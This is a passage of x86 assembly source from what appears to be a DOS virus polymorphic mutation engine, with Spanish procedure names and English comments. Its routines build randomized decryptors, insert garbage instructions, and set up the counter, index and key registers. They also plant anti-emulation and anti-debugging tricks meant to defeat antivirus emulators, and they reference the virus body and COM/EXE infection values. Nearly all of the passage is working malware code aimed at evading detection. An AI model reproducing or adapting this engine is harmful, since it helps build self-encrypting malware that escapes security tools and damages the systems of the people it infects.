[SI+02] ; Load in AX the address where the displa- ; cement will be stored CMP BYTE PTR [SI-01], 0E9h ;Check if it is a JMP of 16 bit PUSHF ; Save flags JZ @@Saleee ; If it is, jump DEC AX ; Decrement AX to get the address for JMPs ; of 8 bits @@Saleee: MOV CX, DI ; Get in CX the JMP displacement SUB CX, AX POPF ; Restore flags JZ @@Salfff ; If it is a JMP of 16 bits, jump MOV [SI], CL ; Save 8 bits displacement JMP @@Salggg ; Continue @@Salfff: MOV [SI], CX ; Save 16 bits displacement INC SI @@Salggg: INC SI ; Increase SI by 1 or 2 (depending on) MOV AL, 0E8h ; Store CALL opcode STOSB MOV AX, SI ; Calculate address of calling SUB AX, DI DEC AX DEC AX STOSW ; Store it RET ; Return HazBasuraAleatoria2 ENDP ;; Procedure to insert a basic anti-emulating trick AntiEmulating PROC CALL Aleatorio ; Get a Zero Flag with a 1/8 of probability AND AH, 07 ;If Zero Flag, return. This is made to avoid JZ @@Retorna ; putting an anti-emulating routine always, ; and forcing to not have a "mark" of this ; engine in its decryptors. AND AL, 03 ; Get a random 1 to 3 JZ AntiEmulating CMP AL, [AntiEmulacion-200h] ;Check if this number of rou- ; tine was constructed before JZ AntiEmulating ; If it was, get another random number MOV [AntiEmulacion-200h], AL ;Put the number in this field CMP AL, 2 ; Check trick number JB @@Truco01 JZ @@Truco03 ;; This routine constructs an anti-emulating portion of code. This generates ;; a big LOOP that it is executed in miliseconds, but takes a lot of time with ;; emulation (counter register has a big value). This forces to emulators to ;; "think" that it's an endless LOOP here. @@Truco02: MOV CL, 08h ; Get an usable-for-garbage register CALL ObtenRegistro MOV DL, AL ; Put it on DL @@OtraVez01: CALL Aleatorio ; Get a random number between 2000h and AND AH, 7Fh ; 7FFFh CMP AH, 20h JB @@OtraVez01 MOV CX, AX PUSH DX CALL Saslld ; Construct a MOV with the register DL ; and the value CX POP DX MOV SI, DI ;Get address where the LOOP begins in DX MOV AL, DL ; Put a PUSH Selected-Register CALL Siono JZ @@OtroPUSH MOV AX, 0F0FFh ; Word-opcode PUSH ADD AH, DL STOSW JMP @@Continue01 @@OtroPUSH: ADD AL, 50h ; Byte-opcode PUSH STOSB @@Continue01: PUSH CX ; Save DX, CX and SI PUSH DX PUSH SI CALL HazBasuraAleatoria CALL HazBasuraAleatoria ;Construct a random set of instruc- POP SI ;tions POP DX POP CX ; Restore DX, CX and SI MOV AL, DL ; Put a POP Selected-Register CALL Siono JNZ @@OtroPOP MOV AX, 0C08Fh ; Word-opcode POP ADD AH, DL STOSW JMP @@Continue02 @@OtroPOP: ADD AL, 58h ; Byte-opcode POP STOSB @@Continue02: CALL Siono JZ @@OtroDEC MOV AL, 48h ; Put a "DEC Selected-Register" ADD AL, DL STOSB JMP @@Continue04 @@OtroDEC: MOV AX, 0C8FFh ; Word-opcode DEC ADD AH, DL STOSW @@Continue04: CALL HazBasuraSinBanderas ; Construct instructions that ; don't modify checking flags XOR CH, CH CALL SioNo SETNE CL JZ @@OtroSalto MOV AL, 75h ; Put a JNZ instruction to the beginning STOSB ; of the LOOP MOV AX, DI ; Calculate and store displacement INC AX @@Continue03: XCHG SI, AX SUB AX, SI JCXZ @@AntRetorna2 STOSB RET @@AntRetorna2: STOSW @@Retorna: RET ; Return @@OtroSalto: MOV AX, 850Fh ; Put a 16 bits JNZ instruction STOSW LEA AX, [DI+2] JMP @@Continue03 ;; Another type of anti-emulating. This time is anti-debugging too. It pushes ;; a value and pops it, and then subtracts 2 to the stack pointer and pops the ;; value again in another register. If the registers are different, it jumps ;; to a random address, to fuck it :) @@Truco03: CALL Aleatorio ; Get a random word in AX AND AL, 07h ; Get a random register CMP AL, 04h ; SP? JZ @@Truco03 ; Then, repeat PUSH AX ; Save register CALL SioNo ; Aleatory Zero Flag JZ @@JumpP001 ; If Zero Flag, put a word-opcode PUSH ADD AL, 50h ; Convert to PUSH STOSB ; Store it JMP @@Continue100 @@JumpP001: ADD AL, 0F0h ; Convert to PUSH CBW XCHG AH, AL STOSW ; Store it @@Continue100: CALL HazBasuraAleatoria ; Do garbage POP AX ; Restore register PUSH AX CALL SioNo JZ @@PonPOP2 ADD AL, 58h ; Convert to POP STOSB ; Store it JMP @@Continue101 ; Continue @@PonPOP2: MOV AH, 8Fh XCHG AH, AL ADD AH, 0C0h STOSW @@Continue101: CALL Aleatorio ; Get a random word in AX AND AL, 03h ; Get a manner of subtracting 2 to SP JZ @@PonSUB02 ; If AL=0, do "SUB SP,0002" CMP AL, 02 JB @@PonDECDEC ; If AL=1, do "DEC SP/DEC SP" JZ @@PonADDFE ; If AL=2, do "ADD SP,FFFE" ;; Do "ADD SP,-02" @@PonADDFE2: MOV AL, 83h ; Opcode of signed 16 bits operation re- ; duced to byte STOSB ; Store it MOV AX, 0FEC4h ; Store "ADD SP,-02" STOSW JMP @@Sigue ; Jump and continue ;; Do "SUB SP,0002" @@PonSUB02: MOV AX, 0EC81h ; Construct opcode for "SUB SP,xxxx" STOSW ; Store it MOV AX, 0002 ; Put value for subtract STOSW ; Store it JMP @@Sigue ; Jump and continue ;; Do "DEC SP/DEC SP" @@PonDECDEC: MOV AX, 4C4Ch ; Store "DEC SP" twice STOSW JMP @@Sigue ; Jump and continue ;; Do "ADD SP,FFFE" @@PonADDFE: MOV AX, 0C481h ; Construct "ADD SP,xxxx" STOSW ; Store it MOV AX, 0FFFEh ; Put value for add STOSW ; Store it @@Sigue: MOV CL, 08h ; Get a usable-for-garbage register CALL ObtenRegistro CMP AL, DL JZ @@Sigue MOV CL, AL ; Put it in CL POP DX ; Get the saved register from stack MOV AL, 58h ; Put a POP Garbage-Register ADD AL, CL STOSB CALL SioNo ; Random Zero Flag JZ @@PonCMP ; If Zero Flag, do "CMP" ;; Do a "SUB Reg,Reg" @@PonSUB: MOV AL, 2Bh ; Put "SUB" opcode in AL JMP @@Sigue3 ; Jump and continue @@PonCMP: MOV AL, 3Bh ; Put "CMP" opcode in AL CALL SioNo ; Random Zero Flag JZ @@Sigue2 ; If Zero Flag, jump @@Sigue3: XCHG DL, CL ;Exchange registers (it is the same for ; "CMP") @@Sigue2: ROL DL, 3 ; Put register on bits 3,4,5 MOV AH, 0C0h ; Activate register operation OR AH, DL ; Mix register with AH OR AH, CL ; Mix register to form an opcode STOSW ; Store instruction CALL HazBasuraSinBanderas ; Do garbage that doesn't affect ; to comparement flags CALL Siono ; JZ or JNZ? SETE CL ; Set CL to 1 to do "JZ" CALL SioNo ; jump 8 bits or jump 16 bits? JZ @@SaltoGordo MOV AL, 75h ; AL=opcode of "JNZ" SUB AL, CL ; Make "JZ" if CL=1 STOSB ; Store this instruction OR CL, CL JZ @@DoRandomDispl @@OtraVez19: CALL Aleatorio AND AX, 07h JZ @@OtraVez19 STOSB JMP @@AJAJAJA @@DoRandomDispl: CALL Aleatorio STOSB RET ; Return @@SaltoGordo: MOV AX, 850Fh SUB AH, CL STOSW OR CL, CL JZ @@Sigueiii @@OtraVez20: CALL Aleatorio AND AX, 0007 JZ @@OtraVez20 STOSW @@AJAJAJA: MOV CX, AX @@JAJAJAJ: CALL Aleatorio STOSB LOOP @@JAJAJAJ RET @@Sigueiii: CALL Aleatorio STOSW RET ;; Another type. It just plays with the prefetch queue. @@Truco01: CMP BYTE PTR [NoBasura-200h], 1 ; If there isn't garbage, JZ AntiEmulating ; this won't go well, so ; put another trick CMP BYTE PTR [TipoEjec-200h], 1 ; If it's an EXE, store JZ @@EsunEXE ; "CS:" @@EsunCOM: CALL Aleatorio ; Get a random segment for AND AL, 18h ; a COM and store it ADD AL, 26h DB 3Dh @@EsunEXE: MOV AL, 2Eh ; Store "CS:" STOSB CALL SioNo ; Random Zero Flag JZ @@Directo ; If Zero Flag, jump ;; Write a registre @@PorRegistro: CALL Aleatorio ; Get a random opcode AND AL, 39h MOV AH, 06h ; Put it as memory direct address ; write STOSW ; Store the opcode MOV SI, DI ; Save DI in SI STOSW ; Add 2 to DI JMP @@PonDireccion ; Jump @@Directo: CALL Aleatorio ; Get a random 80h-opcode ins- AND AL, 3 ; truction (80h to 83h) ADD AL, 80h MOV DL, AL AND AH, 38h ADD AH, 6 ; Direct address to memory write STOSW ; Store opcode MOV SI, DI ; Save DI in SI STOSW ; Add 2 to DI CALL Aleatorio ; Get a random in AX CMP DL, 81h ; Check if opcode is 81h JNZ @@MeteByteX ; If not, put a byte @@MeteWordX: STOSW ; Put a word, please :) DB 3Ch @@MeteByteX: STOSB ; Put a byte @@PonDireccion: LEA AX, [DI+DededeMerde] ; Get the address of writing ADD AX, [InicioVirus-200h+1+16h] ; Add delta-offset MOV [SI], AX ; Put this in [SI] MOV SI, DI ; Save DI to SI @@OtraVez_2: PUSH SI ; Save SI CALL HazBasuraAleatoria ; Do garbage POP SI ; Restore SI CMP SI, DI ; Check if DI remains equal JZ @@OtraVez_2 ; If no garbage was inserted, try ; again RET ; Return AntiEmulating ENDP ;; Code to generate a call to a do-nothing function of an interrupt (it only ;; works constructiong the second decryptor - the first in order of creation) PonInt PROC CALL MiraSiPrimerDes ; Is it the second decryptor? JNZ @@Salir ; If it isn't, exit CALL Aleatorio ; Get a random AX TEST AL, 0C0h ;Get Zero Flag with 1/4 of probability JNZ @@Salir ; If not Zero Flag, exit @@KKAS2: CALL Aleatorio AND AX, 001Eh ; Get a random even AX between 0 and ; 18h JZ @@Pollas ; If AX=0, get a random function CMP AL, 18h JA @@KKAS2 MOV SI, Offset FuncInterrup - 200h ;Put address where ; functions and interrupts are stored in SI ADD SI, AX ; Add AX to SI to get one of the stored ; functions and interrupts MOV AH, [SI] ; Get first byte in AH @@KKAS: MOV AL, 0B4h ; Construct "MOV AH,xx" STOSW ; Store instruction MOV AL, 0CDh ; Construct "INT xx" MOV AH, [SI+01] ; Get interrupt number in AH STOSW ; Store instruction @@Salir: RET ; Return @@Pollas: CALL Aleatorio ; Get a random word in AX JMP @@KKAS ; Jump and continue PonInt ENDP ;; Procedure to put the instruction that sets value to the counter register PonContador PROC MOV CX, [TamanyoContador-200h] ; Get counter in CX MOV DL, [RegistroContador-200h] ; Get register counter in ; DL CMP DL, 4 JNZ @@Sigue CALL PonStack JMP HazBasuraAleatoria @@Sigue: TEST BP, 0080h ;Check if byte counter or word counter JNZ @@ByteCont ; If byte counter, jump SHR CX, 1 ; Convert to word counter @@ByteCont: TEST BP, 0001h ; Do we increase or decrease the ; counter in every loop of the decryp- ; tor? JZ @@RestaCont ; If we decrement it every loop, jump NEG CX ;Get the inverse of CX to get an equal ;count fowards, instead of backwards @@RestaCont: CALL PonInstrucMOV ; Put a setting-value instruction RET ; Return PonContador ENDP ;; Procedure to put the instruction that sets value to the index register PonIndice PROC MOV CX, [InicioVirus-200h+1+16h] ; Get initial address of ; virus in file in CX MOV DL, [RegistroIndice-200h] ; Get register in DL TEST BP, 0002 ; Do we add a word to the in- ; dex? JZ @@Salto ; If not, jump CALL Aleatorio ; get a random word SUB CX, AX ; Subtract it from the initial address MOV [SumaIndice-200h], AX ; Save it here JMP @@Salto2 ; Continue @@Salto: MOV WORD PTR [SumaIndice-200h],0 ;Put 0 in the add-to-in- ; dex field @@Salto2: ; CMP BYTE PTR [TipoDeDesencriptador-200h], 1 ; JZ @@CosaRara CALL PonInstrucMOV ; Put the setting-value instruction RET ; Return ;@@CosaRara: XOR AX, AX ; XCHG AX, [LongDesencrip-200h] ; PUSH AX ; CALL PonInstrucMOV ; POP [LongDesencrip-200h] ; RET PonIndice ENDP ;; Procedure to put the instruction that sets value to the key register for ;; decryption PonEncriptador PROC TEST BP, 0100h ; Do we decrypt using a key register? JZ @@Salto1 ; If we don't, jump @@OtraVez: CALL Aleatorio ; Get a random word in AX OR AL, AL ; If the low byte is 0, repeat getting JZ @@OtraVez OR AH, AH ; If the high byte is 0, repeat JZ @@OtraVez MOV CX, AX ; Put it in CX MOV DL, [RegistroEncriptado-200h] ; Get key register in DL MOV [WordEncriptado-200h], AX ; Save key here CALL PonInstrucMOV ; Put assignment in decryptor RET ; return @@Salto1: CALL Aleatorio ; Get a random word in AX CALL PonStack ;Insert a stack instruction (if we're ;going to use RET, RETF or any of them ;to jump to virus body or next decryp- ;tor MOV [WordEncriptado-200h], AX ; Save decrypt key RET ; Return PonEncriptador ENDP ;;; Initial execution values in a COM and in an EXE. This is used to construct ;;; assignments with XOR, SUB, etc. and to put indexed memory writes without ;;; danger ;;; For COM: InicValoresCOM DW 0 ; AX DW 00FFh ; CX DW 0 ; DX DW 0 ; BX DW 0FFFEh ; SP DW 091Ch ; BP DW 0100h ; SI DW 0FFFEh ; DI ;;; For EXE: InicValoresEXE DW 0 ; AX DW 00FFh ; CX DW 0 ; DX DW 0 ; BX DW 0 ; SP DW 091Ch ; BP DW 200h ; SI DW 0 ; DI ;; This stores an assignment instruction. The value to assign is passed in CX ;; and the register in DL. the procedure can construct MOVs (two different ty- ;; pes of opcode), LEA or PUSH Value/POP Reg. Moreover, in the first decryptor ;; the values can be set by XOR, ADD or SUB, too. PonInstrucMOV PROC CALL HazBasuraAleatoria ; Do garbage CALL PonStack ; Put stack instruction, if there's ; any to put CALL MiraSiPrimerDes ; First decryptor? JZ Saslld ; If not, jump @@KK: CALL Aleatorio ;Get a Zero Flag with 1/4 of proba- AND AL, 03 ; bility JZ Saslld ; If Zero Flag, jump to do normal ; things :) MOVZX BX, DL ; Put the register in BL ROL BX, 1 ; Multiply by 2 and get the address ADD BX, Offset InicValoresCOM-200h ;where the value of the CMP BYTE PTR [TipoEjec-200h], 0 ; register initially (for JZ @@Otros ; COM or EXE) is stored. ADD BX, 0010h @@Otros: CMP DL, 02 ; Check if register is DX (it will ; contain the PSP segment) JZ Saslld ; If it is, it has no known value, ; so skip its use CMP DL, 05 ; BP = 091Ch in DOS based systems, JZ Saslld ; BP = 0912h in Win95 DOS systems ; It has no exact value, so skip MOV BX, [BX] ; Get in BX the corresponding value CMP AL, 02 ; AL was between 1 and 3 JB @@PonXOR ; If 1, do XOR JZ @@PonADD ; If 2, do ADD ; If 3, do SUB @@PonSUB: SUB BX, CX ; Subtract value to assign to initial ; value MOV AX, 0E881h ; Store "SUB" @@Sigue: OR AH, DL ; Set register in opcode STOSW ; Store instruction MOV AX, BX ; Store got value STOSW RET ; Return @@PonXOR: XOR BX, CX ; Calculate assignment for XOR MOV AX, 0F081h ; Store "XOR" JMP @@Sigue ; Jump @@PonADD: XCHG BX, CX ; Calculate assignment for ADD SUB BX, CX MOV AX, 0C081h ; Store "ADD" JMP @@Sigue ; Jump ;; Normal assignment (no weird anti-debugger/emulating assignments) Saslld: CALL Aleatorio ; Get a random AX AND AL, 03 ; Get AL between 1 and 3 JZ Saslld CMP AL, 02 JB @@PonLea ; If 1, construct a LEA JZ @@PonMOV ; If 2, construct a MOV ; Construct a PUSH/POP @@PonPUSH: MOV AL, 68h ; Store a direct value pushing opcode STOSB MOV AX, CX ; Store value to assign STOSW CALL HazBasuraAleatoria ; Do garbage CALL SioNo ; Random Zero Flag JZ @@Saslld2 ; If Zero Flag, use type I of PUSH opc. MOV AH, DL ; Construct a two-byte POP opcode OR AH, 0C0h MOV AL, 8Fh STOSW ; Insert it RET ; return @@Saslld2: MOV AL, DL ; Construct a one-byte POP opcode OR AL, 58h STOSB ; Store it RET ; Return ; Construct a MOV @@PonMOV: CALL SioNo ; Random Zero Flag JZ @@PonMOV2 ; If Zero Flag, do another type of MOV MOV AL, DL ; Put register in AL OR AL, 0B8h ; Convert it to MOV STOSB ; Store it JMP @@Salto ; Jump @@PonMOV2: MOV AL, 0C7h ; MOV opcode MOV AH, 0C0h ; Set register on OR AH, DL ; Put register on data opcode STOSW ; Store it @@Salto: MOV AX, CX ; Store word for assignment STOSW RET ; return ; construct a LEA @@PonLEA: ROL DL, 3 ;Adapt register to bit fields in opcode OR DL, 6 ; Set "direct memory address" on MOV AL, 8Dh ; LEA opcode MOV AH, DL ; Put converted DL like data opcode STOSW ; Store it JMP @@Salto ; Store assignment value PonInstrucMOV ENDP ;; A very used procedure to generate a random Zero Flag SioNo PROC PUSH AX ; Save AX CALL Aleatorio ; Get a random word in AX AND AL, 01 ; Check if even (Zero Flag) or odd (Non- ; Zero Flag) POP AX ; Restore AX RET ; return with flag set on or off SioNo ENDP ;; Routine to construct the decrypt instruction HazEncriptador PROC MOV AX, BP ; Get in AL the decryption operation AND AL, 18h ROR AL, 3 MOV BX, Offset OpcodesCriptado - 200h XLAT ; Then, AL must be 31h, 01h or 29h (XOR, ; ADD or SUB) TEST BP, 0100h ; Check if the key is in a register JZ @@NoEncripREG ; If not, jump ;; Construct a decrypt instruction that uses a register to decrypt, for exam- ;; ple XOR [BX+75D4],AX @@EncripREG: MOV DL, [RegistroEncriptado-200h] ; Get key register in DL TEST BP, 0080h ;Check if decrypt must be done byte-to-byte ;or word-to-word JZ @@Salto001 ; If word-to-word, jump CMP DL, 04 ; Is the key register a ?X type register? JB @@Salto002 ; If it is, continue AND BP, 0FEFFh ;If not, set "decrypt by register" off and JMP @@NoEncripREG ;decrypt by direct value @@Salto002: DEC AL ; Decrement opcode to get byte decryption TEST BP, 0200h ; Are we going to use the high byte or the ; low byte of the register? JZ @@Salto001 ; If we're going to use the low byte, jump OR DL, 04h ; Convert register to ?H @@Salto001: STOSB ; Store opcode ROL DL, 3 ; Adapt register to bit field on opcode MOV BX, Offset TablaIndices - 200h ;Get the value to cons- MOV AL, [RegistroIndice-200h] ; truct the second opcode XLAT ; (the data opcode) using in ; AL the index register OR AL, DL ; Put register in opcode TEST BP, 0002 ; Check if a word must be added to index JZ @@Salto003 ; If not, jump AND AL, 3Fh ; Set word adding to index on OR AL, 80h STOSB ; Store opcode MOV AX, [SumaIndice-200h] ; Get word to add to index STOSW ; Store it RET ; return @@Salto003: CMP BYTE PTR [RegistroIndice-200h], 05h ; Check if index JNZ @@Salto004 ; Register is BP. If not, jump STOSB ; Store opcode XOR AL, AL ; Store an adding byte @@Salto004: STOSB ; Store opcode/adding byte with value 0 RET ; Return ; Construct a decrypt instruction with direct use of a value (not a register), ; for example XOR WORD PTR [BX],435B @@NoEncripREG: DEC AL ; Eliminate last bit (it was set on) MOV AH, AL ; Put the opcode in AH MOV AL, 80h ; Put opcode 80h in AL TEST BP, 0080h ; Check if it's byte or word decryption JNZ @@Salto010 ; If byte, jump INC AL ; Convert to word opcode @@Salto010: STOSB ; Store 80h or 81h (depending on) MOV BX, Offset TablaIndices - 200h ;Get value of the index MOV AL, [RegistroIndice-200h] ; register for the opcode XLAT OR AL, AH ; Set it in the data opcode TEST BP, 0002 ; Check if a word will be added to index JNZ @@Salto011 ; If it will be, jump CMP BYTE PTR [RegistroIndice-200h], 05 ; Check if index is ; BP JZ @@Salto012 ; If it is, jump STOSB ; Store data opcode and continue JMP @@Sigue @@Salto012: STOSB ; Store data opcode XOR AL, AL ; Store byte to add (with value 0) STOSB JMP @@Sigue ; Continue @@Salto011: AND AL, 3Fh ; Set "add word to index" on OR AL, 80h STOSB ; Store this second opcode MOV AX, [SumaIndice-200h] ; Get word to be added in AX STOSW ; Store it @@Sigue: MOV AX, [WordEncriptado-200h] ; Get decryption key in AX TEST BP, 0080h ; Decrypt by byte or word? JNZ @@EncripByte ; If byte-to-byte decryption, jump STOSW ; Store key word RET ; Return @@EncripByte: STOSB ; Store key byte RET ; Return HazEncriptador ENDP ;; Procedure to add a set of instructions that modifies the counter one up or ;; one down, depending on flags in BP ModificaContador PROC MOV DL, [RegistroContador-200h] ;Get counter register in CMP DL, 4 ;DL. If it's 4, do garbage JZ HazBasuraAleatoria TEST BP, 0001 ;Check if counter is going fowards ;or backwards JZ @@Resta ;If it goes backwards, then jump @@Suma: CALL Aleatorio ; Get a random byte between 0 and 7 AND AL, 07h ; in AL JZ PonINCbyte ; If 0, put "INC Counter" CMP AL, 02 JB PonADDbyte ; If 1, put "ADD Counter,1" JZ PonADDSUBbyte ; If 2, put "ADD C.,xxx/SUB C.,yyy" CMP AL, 04 JB PonSUBADDbyte ; If 3, put "SUB C.,xxx/ADD C.,yyy" JZ PonSUBbyte ; If 4, put "SUB Counter,-1" CMP AL, 06 JB PonNOTNEG ;If 5, put "NOT Counter/NEG Counter" JZ @@PonSUBDECbyte ;If 6, put "SUB C.,-2/DEC Counter" ; Put "DEC Counter/ADD Counter,2" @@PonDECADDbyte: CALL PonDEC ; Store a DEC instruction CALL HazBasuraAleatoria ; Do garbage MOV DH, 02 ; Insert "ADD Counter,2" (value to CALL PonADD ; add in DH) RET ; Return ; Put "SUB Counter,-2/DEC Counter" @@PonSUBDECbyte: MOV DH, 0FEh ; Insert a "SUB Counter,-2" CALL PonSUB CALL HazBasuraAleatoria ; Do garbage CALL PonDEC ; Insert a "DEC Counter" RET ; Return ;; Here if register is decreased instead of increased @@Resta: CMP BYTE PTR [NoPongasLOOP-200h], 1 JZ @@Siggig1 CMP DL, 01 ; Check if counter register is CX JNZ @@Siggig1 ; If it isn't, jump TEST BP, 6000h ; Check if we are going to use any of ; the LOOP instructions or not JZ @@Siggig1 ; If not, continue RET ;Return (don't insert any counter ope- ;ration) @@Siggig1: CALL Aleatorio ;Get a random byte in AL between 0 and 7 AND AL, 07 JZ @@PonDECbyte ; If 0, put "DEC Counter" CMP AL, 02 JB @@PonADDbyte2 ; If 1, put "ADD Counter, -1" JZ PonSUBADDbyte2 ; If 2, put "SUB C.,xxx/ADD C.,yyy" CMP AL, 04 JB PonADDSUBbyte2 ; If 3, put "ADD C.,xxx/SUB C.,yyy" JZ PonSUBbyte2 ; If 4, put "SUB Counter,1" CMP AL, 06 JB @@PonNEGNOT ; If 5, put "NEG Counter/NOT Counter" JZ @@PonADDADD ; If 6, put "ADD C.,xxx/ADD C.,yyy" ; Put "ADD C.,xxx/ADD C.,yyy" @@PonSUBSUB: MOV AX, 0E881h ; Get SUB instruction OR AH, DL ; Put register on opcode STOSW ; Store opcode XCHG AX, CX ; Save AX in CX (this is the opcode) @@KKEC: CALL Aleatorio ; Get a random byte in AX OR AX, AX ; If it's 0, repeat JZ @@KKEC STOSW ; Store it CALL HazBasuraAleatoria ; Do garbage XCHG AX, CX ; Put the last opcode in AX STOSW ; Insert it XCHG AX, CX ; Get the subtracted value NEG AX ; Negate and increase to get a pair of INC AX ; SUBs which decrements the counter at STOSW ; last. Of course, insert this value RET ; Return ; Put "ADD C.,xxx/ADD C.,xxx" @@PonADDADD: MOV AX, 0C081h ; "ADD" opcode OR AH, DL ; Add register STOSW ; Store opcode XCHG AX, CX ; Save opcode in CX @@KKEC2: CALL Aleatorio ; Get a random value in AX OR AX, AX ; If it is 0, repeat JZ @@KKEC2 STOSW ; Store this value CALL HazBasuraAleatoria ; Do garbage XCHG AX, CX ; Recover opcode STOSW ; Insert it again XCHG AX, CX ; Calculate value to subtract at last NOT AX ; one to counter (with 2 adds) STOSW ; Complete this instruction with this RET ; value and return ; Construct "DEC Counter" @@PonDECbyte: CALL PonDEC ; Put a "DEC" RET ; Return ; Construct "ADD Counter,-1" @@PonADDbyte2: MOV DH, 0FFh ; Construct this instruction with a -1 CALL PonADD ; to add to counter RET ; Return ; Construct "SUB C.,xxx/ADD C.,yyy" PonSUBADDbyte2: CALL Aleatorio ; Get a random byte between 0 and 7Eh AND AL, 7Fh ; in AL CMP AL, 7Fh JZ PonSUBADDbyte2 MOV DH, AL ; Insert a "SUB Counter," CALL PonSUB CALL HazBasuraAleatoria ; Do garbage DEC DH ; Insert a "ADD Counter,-1" CALL PonADD RET ; Return ; Construct "ADD C.,xxx/SUB C.,yyy" PonADDSUBbyte2: CALL Aleatorio ; Get a random in AX AND AL, 7Fh ; Get a number between 0 and 7Eh CMP AL, 7Fh JZ PonADDSUBbyte2 MOV DH, AL ; Insert an "ADD Counter," CALL PonADD CALL HazBasuraAleatoria ; Do garbage INC DH ; Insert a "SUB Counter,+1" CALL PonSUB RET ; Return ; Construct a "SUB Counter,1" PonSUBbyte2: MOV DH, 01 ; Value to be subtracted CALL PonSUB ; Store the SUB RET ; Return ; Construct a "NEG Counter/NOT Counter" @@PonNEGNOT: MOV AL, 0F7h ; Put in AL the first opcode MOV AH, DL ;Construct in AH the second opcode with OR AH, 0D8h ; the register, etc. STOSW ; Store "NEG Counter" CALL HazBasuraAleatoria ; Do garbage AND AH, 0F7h ; Transform "NEG" to "NOT" STOSW ; Store "NOT Counter" RET ; Return ;; Procedure to increase index register (it always goes fowards) IncrementaIndice PROC CMP BYTE PTR [TipoDeDesencriptador-200h], 0 JZ Especial MOV DL, [RegistroIndice-200h] ; Get in DL the register CMP DL, 07h ; Is it DI? JZ @@Especial ; Then do special instructions @@Normal: TEST BP, 0080h ; Test if byte or word decryption JZ @@NormalWord ; Jump if word decryption ;; Construct byte increasement @@NormalByte: CALL Aleatorio ; Get a random between 0 and 7 AND AL, 07h JZ PonINCbyte ; If 0, then store "INC" CMP AL, 02 JB PonADDbyte ; If 1, then store "ADD" JZ PonADDSUBbyte ; If 2, store "ADD/SUB" combination CMP AL, 04 JB PonSUBbyte ; If 3, store "SUB" JZ PonSUBADDbyte ; If 4, store "SUB/ADD" combination CMP AL, 06 JB PonNOTNEG ; If 5, store "NOT/NEG" combination JZ @@PonLEAbyte ; If 6, store "LEA" ; Store "INC" PonINCbyte: CALL PonINC ; Put the INC RET ; Return ; Store "ADD" PonADDbyte: MOV DH, 01 ; Put the "ADD Index,1" CALL PonADD RET ; Return ; Store "ADD/SUB" combination PonADDSUBbyte: CALL Aleatorio ; Get a random between 0 and 7Eh AND AL, 7Fh JZ PonADDSUBbyte MOV DH, AL ; Construct an ADD with it CALL PonADD CALL HazBasuraAleatoria ; Do garbage SUB DH, 01 ; Decrease this byte and put a SUB CALL PonSUB RET ; Return ; Store a SUB PonSUBbyte: MOV DH, 0FFh ; Construct a "SUB Index,-1" CALL PonSUB RET ; Return ; Store a SUB/ADD combination PonSUBADDbyte: CALL Aleatorio ; Get a random between 0 and 7Eh AND AL, 7Fh CMP AL, 7Fh JZ PonSUBADDbyte MOV DH, AL ; Construct a SUB CALL PonSUB CALL HazBasuraAleatoria ; Do garbage between instructions ADD DH, 01 ; Increase random value and do an ADD CALL PonADD RET ; Return ; Store a NOT/NEG combination PonNOTNEG: MOV AL, 0F7h ; Construct a NOT instruction with the MOV AH, DL ; register
OR AH, 0D0h STOSW ; Store it CALL HazBasuraAleatoria ; Do garbage OR AH, 0D8h ; Convert NOT to NEG STOSW ; Store it RET ; Return ; Construct a LEA @@PonLEAbyte: MOV DH, 01 ; Put a LEA type "LEA Index,[Index+1]" CALL PonLEA RET ; Return ;; Construct word increasement @@NormalWord: CALL Aleatorio ; Get a random between 0 and 7 AND AL, 07h JZ @@PonINCword ; If 0, put a pair of INCs CMP AL, 02 JB @@PonADDword ; If 1, store "ADD" JZ @@PonADDSUBword ; If 2, store "ADD/SUB" CMP AL, 04 JB @@PonSUBword ; If 3, store "SUB" JZ @@PonSUBADDword ; If 4, store "SUB/ADD" CMP AL, 06 JB @@PonADDINCword ; If 5, store "ADD/INC" JZ @@PonDECADDword ; If 6, store "DEC/ADD" ; Construct "LEA Counter,[Counter+2]" @@PonLEAword: MOV DH, 02 ; Insert the LEA CALL PonLEA RET ; Return ; Construct two INCs (INC/INC) @@PonINCword: CALL PonINC ; Put an INC JMP PonINCbyte ; Jump to insert one INC more ; Construct an "ADD" @@PonADDword: MOV DH, 02 ; Do a "ADD Index,2" CALL PonADD ; Store it and return RET ; Construct "ADD/SUB" @@PonADDSUBword: CALL Aleatorio ; Get a random between 0 and 7Eh AND AL, 7Fh CMP AL, 7Fh JZ @@PonADDSUBword MOV DH, AL ; Put it on DH @@SaltaConyo: CALL PonADD ; Store an "ADD" CALL HazBasuraAleatoria ; Do garbage SUB DH, 02 ; Subtract 2 to random number CALL PonSUB ; Store a SUB RET ; Return ; Construct "SUB" @@PonSUBword: MOV DH, 0FEh ; Construct "SUB Index,-2" CALL PonSUB RET ; Return ; Construct a "SUB/ADD" pair @@PonSUBADDword: CALL Aleatorio ; Get a random number between 0 and 7Eh AND AL, 7Fh CMP AL, 7Fh JZ @@PonSUBADDword MOV DH, AL ; Construct a "SUB" CALL PonSUB CALL HazBasuraAleatoria ; Do garbage ADD DH, 02 ; Construct an "ADD" that adds two more CALL PonADD ; than the subtracted before RET ; Return ; Construct "ADD/INC" @@PonADDINCword: MOV DH, 01 ; Construct an "ADD Index,1" CALL PonADD CALL HazBasuraAleatoria ; Do garbage CALL PonINC ; Construct an "INC Index" RET ; Return ; Construct "DEC/ADD" @@PonDECADDword: CALL PonDEC ; Construct a "DEC Index" CALL HazBasuraAleatoria ; Do garbage MOV DH, 03 ; Construct an "ADD Index,3" CALL PonADD RET ; Return ; Special manners of increasing the index register (when it's DI) @@Especial: CALL SioNo ; Random Zero Flag JNZ @@Normal ; If not Zero Flag, do normal things :) TEST BP, 0080h ; Check if byte or word index JZ @@HazWORD ; If word, jump ; Byte DI increasing @@HazByte: CALL Aleatorio ; Get a random between 0 and 3 AND AL, 03 JZ @@PonSCASB ; If 0, store "SCASB" CMP AL, 02 JB @@PonDECSCASW ; If 1, store "DEC DI/SCASW" JZ @@PonSCASWDEC ; If 2, store "SCASW/DEC DI" ; Store "ADD DI,2/STD/SCASB" or "ADD DI,3/STD/SCASW" @@PonADDSCASB: MOV AX, [InicioVirus-200h+1+16h] ; Check if SCASW applied SUB AX, [SumaIndice-200h] ; to a possible DI=FFFFh will AND AL, 1 ; cause an exception MOV DH, AL ; If index is even, then DH=1, otherwise XOR DH, 1 ; DH=0 CALL Aleatorio ; Get a random word in AX AND AL, DH ; Get 0 or 1 in AL ADD AL, 02 ; Get 2 or 3 in AL MOV DH, AL ; Put it in DH CALL PonADD ; Put an "ADD DI," CALL HazBasuraAleatoria ; Do garbage MOV AH, DH ; Put this value in AH ADD 